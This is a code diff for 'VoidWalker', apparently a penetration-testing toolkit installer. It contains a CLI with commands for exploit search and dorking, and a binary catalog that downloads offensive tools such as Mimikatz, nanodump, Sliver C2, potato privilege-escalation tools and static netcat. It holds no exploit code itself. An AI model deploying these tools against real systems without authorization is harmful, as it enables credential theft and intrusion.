+ from .data.binaries import CROSS_PLATFORM_TOOLS, SPECIAL_TOOLS
+ from .data.packages import (
+ APT_TOOLS, BREW_TOOLS, PIPX_TOOLS, UV_TOOLS, GO_TOOLS, CARGO_TOOLS, GEM_TOOLS,
+ )
+ from .hostinfo import select_asset
+
+ c = Colors
+ print(f"\n{c.NEON_MAGENTA}{Symbols.ROCKET} VoidWalker dry-run β nothing will be downloaded{c.RESET}")
+ print(f"{c.GRAY}{'β' * 60}{c.RESET}")
+ print(f" {c.WHITE}Detected host:{c.RESET} {c.NEON_GREEN}{host.label()}{c.RESET} "
+ f"{c.GRAY}(deb arch: {host.deb_arch}){c.RESET}\n")
+
+ pkg_mgr = "brew" if host.is_macos else "apt"
+ sys_list = BREW_TOOLS if host.is_macos else APT_TOOLS
+ print(f" {c.ELECTRIC_BLUE}System packages ({pkg_mgr}):{c.RESET} {len(sys_list)}")
+ print(f" {c.ELECTRIC_BLUE}pipx tools:{c.RESET} {len(PIPX_TOOLS)} "
+ f"{c.ELECTRIC_BLUE}uv tools:{c.RESET} {len(UV_TOOLS)} "
+ f"{c.ELECTRIC_BLUE}go tools:{c.RESET} {len(GO_TOOLS)} "
+ f"{c.ELECTRIC_BLUE}cargo:{c.RESET} {len(CARGO_TOOLS)} "
+ f"{c.ELECTRIC_BLUE}gems:{c.RESET} {len(GEM_TOOLS)}\n")
+
+ print(f" {c.NEON_CYAN}Cross-platform binaries:{c.RESET}")
+ fetch = skip = 0
+ for name, cfg in CROSS_PLATFORM_TOOLS.items():
+ assets = cfg.get("assets", {})
+ if cfg.get("transfer"):
+ variants = sum(len(v) for v in assets.values())
+ archset = sorted({a for (_, a) in assets})
+ print(f" {c.NEON_GREEN}{Symbols.CHECK}{c.RESET} {name:<22} "
+ f"{c.GRAY}all {variants} variant(s): {', '.join(archset)}{c.RESET}")
+ fetch += variants
+ else:
+ picked = select_asset(assets, host)
+ if picked:
+ print(f" {c.NEON_GREEN}{Symbols.CHECK}{c.RESET} {name:<22} "
+ f"{c.GRAY}host build ({host.label()}){c.RESET}")
+ fetch += len(picked)
+ else:
+ print(f" {c.BRIGHT_RED}{Symbols.CROSS}{c.RESET} {name:<22} "
+ f"{c.GRAY}no build for {host.label()} β skipped{c.RESET}")
+ skip += 1
+
+ print(f"\n {c.NEON_CYAN}Host-native PATH binaries:{c.RESET}")
+ for name, cfg in SPECIAL_TOOLS.items():
+ picked = select_asset(cfg.get("assets", {}), host)
+ mark = (f"{c.NEON_GREEN}{Symbols.CHECK}" if picked else f"{c.BRIGHT_RED}{Symbols.CROSS}")
+ detail = host.label() if picked else f"no build for {host.label()}"
+ print(f" {mark}{c.RESET} {name:<22} {c.GRAY}{detail}{c.RESET}")
+
+ print(f"\n {c.YELLOW}Plan: ~{fetch} binary download(s), {skip} tool(s) skipped for this arch.{c.RESET}\n")
+
+
+# Commands that pass their remaining tokens verbatim to a vendored integration.
+_SEARCH_COMMANDS = {"poc", "nse", "shodan", "exploitdb", "dork"}
+_INTEGRATION_COMMANDS = {"kali", "pimp", "harden", "env", "setup-env", "pe",
+ "pt", "pt-install", "parallels-tools",
+ "bloodhound", "bh", "bhce",
+ "proxy", "rec", "record",
+ "root", "rootsetup"}
+_KNOWN_COMMANDS = _SEARCH_COMMANDS | _INTEGRATION_COMMANDS | {"selftest"}
+
+
+def _dispatch_integration(command: str, rest: list) -> None:
+ """Construct VoidWalker and route an integration sub-command, then exit."""
+ from .core import VoidWalker
+ vw = VoidWalker()
+ if command in ("kali", "pimp", "harden"):
+ rc = vw.run_kali_fix(rest)
+ elif command in ("env", "setup-env"):
+ rc = vw.deploy_pentest_env(rest)
+ elif command == "pe":
+ rc = vw.run_pe(rest)
+ elif command in ("pt", "pt-install", "parallels-tools"):
+ rc = vw.run_parallels_tools(rest)
+ elif command in ("bloodhound", "bh", "bhce"):
+ rc = vw.run_bloodhound(rest)
+ elif command == "proxy":
+ rc = vw.run_proxy(rest)
+ elif command in ("rec", "record"):
+ rc = vw.run_rec(rest)
+ elif command in ("root", "rootsetup"):
+ rc = vw.run_root_setup(rest)
+ else: # unreachable
+ rc = 2
+ sys.exit(rc or 0)
+
+
+def main() -> None:
+ parser = argparse.ArgumentParser(
+ prog="voidwalker",
+ description=f"{Colors.NEON_CYAN}VoidWalker v{__version__}{Colors.RESET} - Elite Penetration Testing Arsenal",
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ epilog=f"""
+{Colors.NEON_GREEN}Commands:{Colors.RESET}
+ {Colors.WHITE}poc <CVE-ID>{Colors.RESET} Search for PoC exploits (e.g., poc CVE-2021-1675)
+ {Colors.WHITE}nse <keyword>{Colors.RESET} Search Nmap NSE scripts (e.g., nse http, nse smb)
+ {Colors.WHITE}shodan <query>{Colors.RESET} Search Shodan (requires SHODAN_API_KEY env var)
+ {Colors.WHITE}exploitdb <query>{Colors.RESET} Search Exploit-DB
+ {Colors.WHITE}dork{Colors.RESET} Interactive Google Dork generator
+ {Colors.WHITE}selftest{Colors.RESET} Validate the tool catalog + integrations (offline)
+ {Colors.WHITE}kali [flags]{Colors.RESET} Fix / harden Kali via the pimpmykali engine
+ {Colors.WHITE}env [flags]{Colors.RESET} Deploy the pentest-env (pe) toolkit
+ {Colors.WHITE}pe <args>{Colors.RESET} Encrypted pe workspace (flags/creds/hosts/notes)
+ {Colors.WHITE}pt [flags]{Colors.RESET} Install Parallels Tools in a Kali guest
+ {Colors.WHITE}bloodhound{Colors.RESET} Install + configure BloodHound-CE (bloodhound-cli)
+ {Colors.WHITE}proxy [host:port]{Colors.RESET} Wire proxychains4 to a SOCKS pivot (default 127.0.0.1:1080)
+ {Colors.WHITE}rec [shell|shot]{Colors.RESET} Record a shell / capture screenshots into the engagement log
+ {Colors.WHITE}root [setup|link]{Colors.RESET} Red root prompt + expose your user tools (netexec, ...) to root
+
+{Colors.NEON_GREEN}Examples:{Colors.RESET}
+ python3 voidwalker.py # Interactive installer menu
+ python3 voidwalker.py --dry-run # Show the per-arch install plan
+ python3 voidwalker.py --theme matrix # Switch colour palette
+ python3 voidwalker.py poc CVE-2021-44228 # Search Log4Shell PoCs
+ python3 voidwalker.py kali --newvm # Fresh-Kali setup (pimpmykali)
+ python3 voidwalker.py env --dry-run # Preview the pe environment install
+ python3 voidwalker.py pe target add Cap --ip 10.10.10.245
+""",
+ )
+ parser.add_argument("command", nargs="?", help="Command to execute (see below)")
+ parser.add_argument("rest", nargs=argparse.REMAINDER,
+ help="Arguments / query / passthrough flags for the command")
+ parser.add_argument("--theme", choices=list_themes(),
+ help="Colour palette (default from $VOIDWALKER_THEME or 'voidwalker')")
+ parser.add_argument("--dry-run", action="store_true",
+ help="Print the per-architecture install plan and exit")
+ parser.add_argument("-v", "--version", action="version", version=f"VoidWalker v{__version__}")
+
+ args = parser.parse_args()
+
+ if args.theme:
+ apply_theme(args.theme)
+
+ command = args.command
+ rest = list(args.rest)
+ query = rest[0] if rest else None
+
+ if command is not None and command not in _KNOWN_COMMANDS:
+ _err(f"unknown command: {command}",
+ "python3 voidwalker.py kali --newvm (or run with no command for the menu)")
+
+ if command == "poc":
+ if not query:
+ _err("Please provide a CVE ID or keyword", "python3 voidwalker.py poc CVE-2021-1675")
+ search_poc(query)
+ elif command == "nse":
+ if not query:
+ _err("Please provide a search keyword", "python3 voidwalker.py nse http")
+ search_nse(query)
+ elif command == "shodan":
+ if not query:
+ _err("Please provide a search query", "python3 voidwalker.py shodan apache")
+ search_shodan(query)
+ elif command == "exploitdb":
+ if not query:
+ _err("Please provide a search query", "python3 voidwalker.py exploitdb wordpress")
+ search_exploitdb(query)
+ elif command == "dork":
+ dork_generator()
+ elif command == "selftest":
+ from .selftest import run_selftest
+ sys.exit(run_selftest())
+ elif command in _INTEGRATION_COMMANDS:
+ _dispatch_integration(command, rest)
+ elif args.dry_run:
+ _dry_run(HostInfo.current())
+ else:
+ host = HostInfo.current()
+ if host.is_linux and hasattr(os, "geteuid") and os.geteuid() != 0:
+ print(f"{Colors.YELLOW}Note: Some installations require sudo privileges.{Colors.RESET}")
+ print(f"{Colors.GRAY}Run with 'sudo python3 voidwalker.py' for full functionality.{Colors.RESET}\n")
+ elif host.is_macos:
+ print(f"{Colors.NEON_CYAN}Detected macOS β using Homebrew for package management.{Colors.RESET}\n")
+ print(f"{Colors.GRAY}Host architecture: {host.label()}{Colors.RESET}\n")
+
+ from .core import VoidWalker
+ installer = VoidWalker()
+ installer.run()
+
+
+if __name__ == "__main__":
+ main()voidwalker/core.py
new file mode 100644
@@ -0,0 +1,53 @@
+"""The VoidWalker orchestrator, composed from behaviour mixins.
+
+The original 2,000-line ``VoidWalker`` class was split into focused mixins
+(UI, downloads, installers, cross-platform binaries, vault, core orchestration).
+This module re-assembles them into the single public class and owns the
+constructor, where host OS/architecture detection now happens.
+"""
+
+from __future__ import annotations
+
+import shutil
+import signal
+import sys
+from pathlib import Path
+
+from .hostinfo import HostInfo
+from .ui import UIMixin
+from .download import DownloadMixin
+from .installers import InstallerMixin
+from .xplat import CrossPlatformMixin
+from .vault import VaultMixin
+from .integrations.kali import KaliFixMixin
+from .integrations.penv import PentestEnvMixin
+from .integrations.bloodhound import BloodHoundMixin
+from .integrations.proxy import ProxyMixin
+from .integrations.recorder import RecorderMixin
+from .integrations.rootsetup import RootSetupMixin
+from ._core_methods import _CoreMethods
+
+
+class VoidWalker(UIMixin, DownloadMixin, InstallerMixin,
+ CrossPlatformMixin, VaultMixin,
+ KaliFixMixin, PentestEnvMixin, BloodHoundMixin,
+ ProxyMixin, RecorderMixin, RootSetupMixin, _CoreMethods):
+ def __init__(self):
+ self.term_width = shutil.get_terminal_size().columns
+ self.term_height = shutil.get_terminal_size().lines
+ self.running = True
+ self.base_path = Path.home() / "voidwalker"
+ self.log_file = self.base_path / "voidwalker.log"
+ self.stats = {"ok": 0, "fail": 0}
+ # OS + CPU architecture detection drives binary/package selection so the
+ # toolkit works on x86_64 *and* ARM (arm64/aarch64, armv7) hardware.
+ self.host = HostInfo.current()
+ self.platform = sys.platform # retained for backwards compatibility
+ self.is_macos = self.host.is_macos
+ self.is_linux = self.host.is_linux
+ # Make git non-interactive process-wide so neither our own clones nor
+ # the ones run by spawned installer scripts prompt for a GitHub
+ # username / password / email when they hit an unreachable repo.
+ self.harden_git_environment()
+ signal.signal(signal.SIGINT, self.signal_handler)
+ signal.signal(signal.SIGTERM, self.signal_handler)voidwalker/data/binaries.py
new file mode 100644
@@ -0,0 +1,421 @@
+"""Architecture-aware binary catalog.
+
+Two dictionaries live here:
+
+* :data:`CROSS_PLATFORM_TOOLS` β standalone binaries fetched for *every*
+ ``(os, arch)`` they ship for, so the operator has something to drop on
+ whatever target (or attack box) they end up on, regardless of CPU.
+* :data:`SPECIAL_TOOLS` β single host-installed binaries (placed on ``PATH``)
+ where only the build matching the *current* host architecture is fetched.
+
+Schema for every entry::
+
+ "tool": {
+ "description": str,
+ "dest_dir": "tools/...", # relative to ~/voidwalker
+ "transfer": True, # arsenal binary -> fetch all variants
+ "assets": {
+ (os, arch): [(filename, url), ...],
+ ...
+ },
+ }
+
+``os`` is one of ``windows`` / ``linux`` / ``darwin``.
+``arch`` is one of ``amd64`` / ``arm64`` / ``armv7`` / ``386`` (see hostinfo.py).
+
+When upstream does not publish a build for a given ``(os, arch)`` the key is
+simply omitted; :func:`voidwalker.hostinfo.select_asset` and the installer skip
+it cleanly instead of fetching a binary that cannot run.
+"""
+
+# ββ Standalone cross-platform binaries (download all published variants) βββββ
+CROSS_PLATFORM_TOOLS = {
+ "chisel": {
+ "description": "TCP/UDP tunnelling over HTTP",
+ "dest_dir": "tools/pivoting/chisel",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("chisel_windows_amd64.exe", "https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz")],
+ ("windows", "arm64"): [("chisel_windows_arm64.exe", "https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_arm64.gz")],
+ ("linux", "amd64"): [("chisel_linux_amd64", "https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz")],
+ ("linux", "arm64"): [("chisel_linux_arm64", "https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_arm64.gz")],
+ ("linux", "armv7"): [("chisel_linux_armv7", "https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_armv7.gz")],
+ ("darwin", "amd64"): [("chisel_darwin_amd64", "https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_darwin_amd64.gz")],
+ ("darwin", "arm64"): [("chisel_darwin_arm64", "https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_darwin_arm64.gz")],
+ },
+ },
+ "ligolo-ng": {
+ "description": "Tunnelling/pivoting tool using TUN interfaces",
+ "dest_dir": "tools/pivoting/ligolo-ng",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("ligolo-ng_agent_windows_amd64.zip", "https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_windows_amd64.zip")],
+ ("windows", "arm64"): [("ligolo-ng_agent_windows_arm64.zip", "https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_windows_arm64.zip")],
+ ("linux", "amd64"): [
+ ("ligolo-ng_proxy_linux_amd64.tar.gz", "https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz"),
+ ("ligolo-ng_agent_linux_amd64.tar.gz", "https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_linux_amd64.tar.gz"),
+ ],
+ ("linux", "arm64"): [
+ ("ligolo-ng_proxy_linux_arm64.tar.gz", "https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_linux_arm64.tar.gz"),
+ ("ligolo-ng_agent_linux_arm64.tar.gz", "https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_linux_arm64.tar.gz"),
+ ],
+ ("linux", "armv7"): [
+ ("ligolo-ng_agent_linux_armv7.tar.gz", "https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_linux_armv7.tar.gz"),
+ ],
+ ("darwin", "amd64"): [
+ ("ligolo-ng_proxy_darwin_amd64.tar.gz", "https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_darwin_amd64.tar.gz"),
+ ("ligolo-ng_agent_darwin_amd64.tar.gz", "https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_darwin_amd64.tar.gz"),
+ ],
+ ("darwin", "arm64"): [
+ ("ligolo-ng_proxy_darwin_arm64.tar.gz", "https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_darwin_arm64.tar.gz"),
+ ("ligolo-ng_agent_darwin_arm64.tar.gz", "https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_darwin_arm64.tar.gz"),
+ ],
+ },
+ },
+ "fscan": {
+ "description": "Internal network scanner (shadow1ng)",
+ "dest_dir_win": "tools/windows/scanning",
+ "dest_dir_linux": "tools/linux/scanning",
+ "dest_dir": "tools/scanning/fscan",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("fscan64.exe", "https://github.com/shadow1ng/fscan/releases/latest/download/fscan64.exe")],
+ ("windows", "386"): [("fscan32.exe", "https://github.com/shadow1ng/fscan/releases/latest/download/fscan32.exe")],
+ ("linux", "amd64"): [("fscan_amd64", "https://github.com/shadow1ng/fscan/releases/latest/download/fscan")],
+ ("linux", "386"): [("fscan_386", "https://github.com/shadow1ng/fscan/releases/latest/download/fscan32")],
+ ("linux", "arm64"): [("fscan_arm64", "https://github.com/shadow1ng/fscan/releases/latest/download/fscan_arm64")],
+ },
+ },
+ "kerbrute": {
+ "description": "Kerberos brute-force / user enumeration",
+ "dest_dir": "tools/ad/kerbrute",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("kerbrute_windows_amd64.exe", "https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_windows_amd64.exe")],
+ ("linux", "amd64"): [("kerbrute_linux_amd64", "https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64")],
+ ("linux", "arm64"): [("kerbrute_linux_arm64", "https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_arm64")],
+ ("darwin", "amd64"): [("kerbrute_darwin_amd64", "https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_darwin_amd64")],
+ ("darwin", "arm64"): [("kerbrute_darwin_arm64", "https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_darwin_arm64")],
+ },
+ },
+ "sliver": {
+ "description": "Sliver C2 β adversary emulation framework",
+ "dest_dir": "tools/c2/sliver",
+ "transfer": True,
+ "assets": {
+ ("linux", "amd64"): [
+ ("sliver-server_linux", "https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux"),
+ ("sliver-client_linux", "https://github.com/BishopFox/sliver/releases/latest/download/sliver-client_linux"),
+ ],
+ ("linux", "arm64"): [
+ ("sliver-server_linux-arm64", "https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux-arm64"),
+ ("sliver-client_linux-arm64", "https://github.com/BishopFox/sliver/releases/latest/download/sliver-client_linux-arm64"),
+ ],
+ ("darwin", "amd64"): [("sliver-client_macos", "https://github.com/BishopFox/sliver/releases/latest/download/sliver-client_macos")],
+ ("darwin", "arm64"): [("sliver-client_macos-arm64", "https://github.com/BishopFox/sliver/releases/latest/download/sliver-client_macos-arm64")],
+ ("windows", "amd64"): [("sliver-client_windows.exe", "https://github.com/BishopFox/sliver/releases/latest/download/sliver-client_windows.exe")],
+ },
+ },
+ "pspy": {
+ "description": "Linux process snooper (unprivileged)",
+ "dest_dir": "tools/linux/enum",
+ "transfer": True,
+ "assets": {
+ ("linux", "amd64"): [
+ ("pspy64", "https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64"),
+ ("pspy64s", "https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64s"),
+ ],
+ ("linux", "386"): [
+ ("pspy32", "https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32"),
+ ("pspy32s", "https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32s"),
+ ],
+ ("linux", "arm64"): [("pspy64arm", "https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64arm")],
+ ("linux", "armv7"): [("pspy32arm", "https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32arm")],
+ },
+ },
+ "winpeas": {
+ "description": "Windows privilege escalation scanner",
+ "dest_dir": "tools/windows/privesc",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [
+ ("winPEASx64.exe", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe"),
+ ("winPEASany.exe", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe"),
+ ("winPEAS.bat", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEAS.bat"),
+ ],
+ ("windows", "386"): [("winPEASx86.exe", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx86.exe")],
+ },
+ },
+ "linpeas": {
+ "description": "Linux privilege escalation scanner",
+ "dest_dir": "tools/linux/privesc",
+ "transfer": True,
+ "assets": {
+ # linpeas.sh is arch-independent; fetch it for every Linux arch.
+ ("linux", "amd64"): [
+ ("linpeas.sh", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"),
+ ("linpeas_linux_amd64", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64"),
+ ],
+ ("linux", "386"): [("linpeas_linux_386", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_386")],
+ ("linux", "arm64"): [
+ ("linpeas.sh", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"),
+ ("linpeas_linux_arm64", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_arm64"),
+ ],
+ ("linux", "armv7"): [("linpeas.sh", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh")],
+ },
+ },
+ "stowaway": {
+ "description": "Multi-hop proxy tool for pentesters",
+ "dest_dir": "tools/pivoting/stowaway",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [
+ ("windows_x64_admin.exe", "https://github.com/ph4ntonn/Stowaway/releases/latest/download/windows_x64_admin.exe"),
+ ("windows_x64_agent.exe", "https://github.com/ph4ntonn/Stowaway/releases/latest/download/windows_x64_agent.exe"),
+ ],
+ ("linux", "amd64"): [
+ ("linux_x64_admin", "https://github.com/ph4ntonn/Stowaway/releases/latest/download/linux_x64_admin"),
+ ("linux_x64_agent", "https://github.com/ph4ntonn/Stowaway/releases/latest/download/linux_x64_agent"),
+ ],
+ ("linux", "arm64"): [
+ ("linux_arm64_admin", "https://github.com/ph4ntonn/Stowaway/releases/latest/download/linux_arm64_admin"),
+ ("linux_arm64_agent", "https://github.com/ph4ntonn/Stowaway/releases/latest/download/linux_arm64_agent"),
+ ],
+ ("darwin", "amd64"): [
+ ("macos_admin", "https://github.com/ph4ntonn/Stowaway/releases/latest/download/macos_admin"),
+ ("macos_agent", "https://github.com/ph4ntonn/Stowaway/releases/latest/download/macos_agent"),
+ ],
+ },
+ },
+ "frp": {
+ "description": "Fast reverse proxy β expose local servers",
+ "dest_dir": "tools/pivoting/frp",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("frp_windows_amd64.zip", "https://github.com/fatedier/frp/releases/latest/download/frp_0.61.1_windows_amd64.zip")],
+ ("windows", "arm64"): [("frp_windows_arm64.zip", "https://github.com/fatedier/frp/releases/latest/download/frp_0.61.1_windows_arm64.zip")],
+ ("linux", "amd64"): [("frp_linux_amd64.tar.gz", "https://github.com/fatedier/frp/releases/latest/download/frp_0.61.1_linux_amd64.tar.gz")],
+ ("linux", "arm64"): [("frp_linux_arm64.tar.gz", "https://github.com/fatedier/frp/releases/latest/download/frp_0.61.1_linux_arm64.tar.gz")],
+ ("linux", "armv7"): [("frp_linux_arm.tar.gz", "https://github.com/fatedier/frp/releases/latest/download/frp_0.61.1_linux_arm.tar.gz")],
+ ("darwin", "amd64"): [("frp_darwin_amd64.tar.gz", "https://github.com/fatedier/frp/releases/latest/download/frp_0.61.1_darwin_amd64.tar.gz")],
+ ("darwin", "arm64"): [("frp_darwin_arm64.tar.gz", "https://github.com/fatedier/frp/releases/latest/download/frp_0.61.1_darwin_arm64.tar.gz")],
+ },
+ },
+ "gost": {
+ "description": "GO Simple Tunnel β encrypted proxy chains",
+ "dest_dir": "tools/pivoting/gost",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("gost_windows_amd64.zip", "https://github.com/ginuerzh/gost/releases/latest/download/gost-windows-amd64-2.12.0.zip")],
+ ("linux", "amd64"): [("gost_linux_amd64.gz", "https://github.com/ginuerzh/gost/releases/latest/download/gost-linux-amd64-2.12.0.gz")],
+ ("linux", "arm64"): [("gost_linux_arm64.gz", "https://github.com/ginuerzh/gost/releases/latest/download/gost-linux-armv8-2.12.0.gz")],
+ ("linux", "armv7"): [("gost_linux_armv7.gz", "https://github.com/ginuerzh/gost/releases/latest/download/gost-linux-armv7-2.12.0.gz")],
+ ("darwin", "amd64"): [("gost_darwin_amd64.gz", "https://github.com/ginuerzh/gost/releases/latest/download/gost-darwin-amd64-2.12.0.gz")],
+ },
+ },
+ "netcat-static": {
+ "description": "Static netcat binaries for file transfer",
+ "dest_dir": "tools/pivoting/netcat",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [
+ ("nc64.exe", "https://github.com/int0x33/nc.exe/raw/master/nc64.exe"),
+ ("nc.exe", "https://github.com/int0x33/nc.exe/raw/master/nc.exe"),
+ ],
+ ("linux", "amd64"): [("ncat_static", "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat")],
+ ("linux", "arm64"): [("ncat_static_arm64", "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/arm64/ncat")],
+ ("linux", "armv7"): [("ncat_static_armv7", "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/armv7l/ncat")],
+ },
+ },
+ "socat-static": {
+ "description": "Static socat binary for Linux targets",
+ "dest_dir": "tools/pivoting/socat",
+ "transfer": True,
+ "assets": {
+ ("linux", "amd64"): [("socat_static", "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat")],
+ ("linux", "arm64"): [("socat_static_arm64", "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/arm64/socat")],
+ ("linux", "armv7"): [("socat_static_armv7", "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/armv7l/socat")],
+ },
+ },
+ "mimikatz": {
+ "description": "Windows credential dumping β Mimikatz trunk",
+ "dest_dir": "tools/windows/creds",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("mimikatz_trunk.zip", "https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip")],
+ },
+ },
+ "lazagne": {
+ "description": "Multi-platform credential recovery",
+ "dest_dir": "tools/creds/lazagne",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("LaZagne.exe", "https://github.com/AlessandroZ/LaZagne/releases/latest/download/LaZagne.exe")],
+ },
+ },
+ "godpotato": {
+ "description": "Potato privilege escalation (.NET)",
+ "dest_dir": "tools/windows/privesc",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [
+ ("GodPotato-NET2.exe", "https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET2.exe"),
+ ("GodPotato-NET4.exe", "https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe"),
+ ("GodPotato-NET35.exe", "https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET35.exe"),
+ ],
+ },
+ },
+ "printspoofer": {
+ "description": "Pipe privilege escalation",
+ "dest_dir": "tools/windows/privesc",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("PrintSpoofer64.exe", "https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.exe")],
+ ("windows", "386"): [("PrintSpoofer32.exe", "https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer32.exe")],
+ },
+ },
+ "rustscan": {
+ "description": "Fast port scanner written in Rust",
+ "dest_dir": "tools/scanning/rustscan",
+ # host-native: only fetch the build matching this machine
+ "assets": {
+ ("linux", "amd64"): [("rustscan_amd64.deb", "https://github.com/RustScan/RustScan/releases/latest/download/rustscan_2.3.0_amd64.deb")],
+ ("linux", "arm64"): [("rustscan_arm64.deb", "https://github.com/RustScan/RustScan/releases/latest/download/rustscan_2.3.0_arm64.deb")],
+ ("darwin", "arm64"): [("rustscan_macos_arm64", "https://github.com/RustScan/RustScan/releases/latest/download/rustscan_2.3.0_aarch64-apple-darwin")],
+ ("darwin", "amd64"): [("rustscan_macos_amd64", "https://github.com/RustScan/RustScan/releases/latest/download/rustscan_2.3.0_x86_64-apple-darwin")],
+ },
+ },
+ "bloodhound-collectors": {
+ "description": "BloodHound data collection β SharpHound",
+ "dest_dir": "tools/ad/bloodhound",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [
+ ("SharpHound.exe", "https://github.com/BloodHoundAD/SharpHound/releases/latest/download/SharpHound.exe"),
+ ("SharpHound.ps1", "https://github.com/BloodHoundAD/SharpHound/releases/latest/download/SharpHound.ps1"),
+ ],
+ },
+ },
+ "rubeus": {
+ "description": "Kerberos abuse toolkit (C#)",
+ "dest_dir": "tools/windows/kerberos",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("Rubeus.exe", "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe")],
+ },
+ },
+ "juicypotatong": {
+ "description": "JuicyPotatoNG β next-gen potato priv-esc",
+ "dest_dir": "tools/windows/privesc",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("JuicyPotatoNG.zip", "https://github.com/antonioCoco/JuicyPotatoNG/releases/latest/download/JuicyPotatoNG.zip")],
+ },
+ },
+ "runascs": {
+ "description": "RunAs alternative with credentials",
+ "dest_dir": "tools/windows/misc",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("RunasCs.zip", "https://github.com/antonioCoco/RunasCs/releases/latest/download/RunasCs.zip")],
+ },
+ },
+ "nanodump": {
+ "description": "Stealthy LSASS process dumper",
+ "dest_dir": "tools/windows/creds",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("nanodump.x64.exe", "https://github.com/fortra/nanodump/releases/latest/download/nanodump.x64.exe")],
+ ("windows", "386"): [("nanodump.x86.exe", "https://github.com/fortra/nanodump/releases/latest/download/nanodump.x86.exe")],
+ },
+ },
+ "snaffler": {
+ "description": "Credential hunting across file shares",
+ "dest_dir": "tools/windows/enum",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("Snaffler.exe", "https://github.com/SnaffCon/Snaffler/releases/latest/download/Snaffler.exe")],
+ },
+ },
+ "inveigh": {
+ "description": "LLMNR/NBNS/mDNS poisoning tool",
+ "dest_dir": "tools/windows/inveigh",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("Inveigh.exe", "https://github.com/Kevin-Robertson/Inveigh/releases/latest/download/Inveigh.exe")],
+ },
+ },
+ "krbrelayup": {
+ "description": "Kerberos relay privilege escalation",
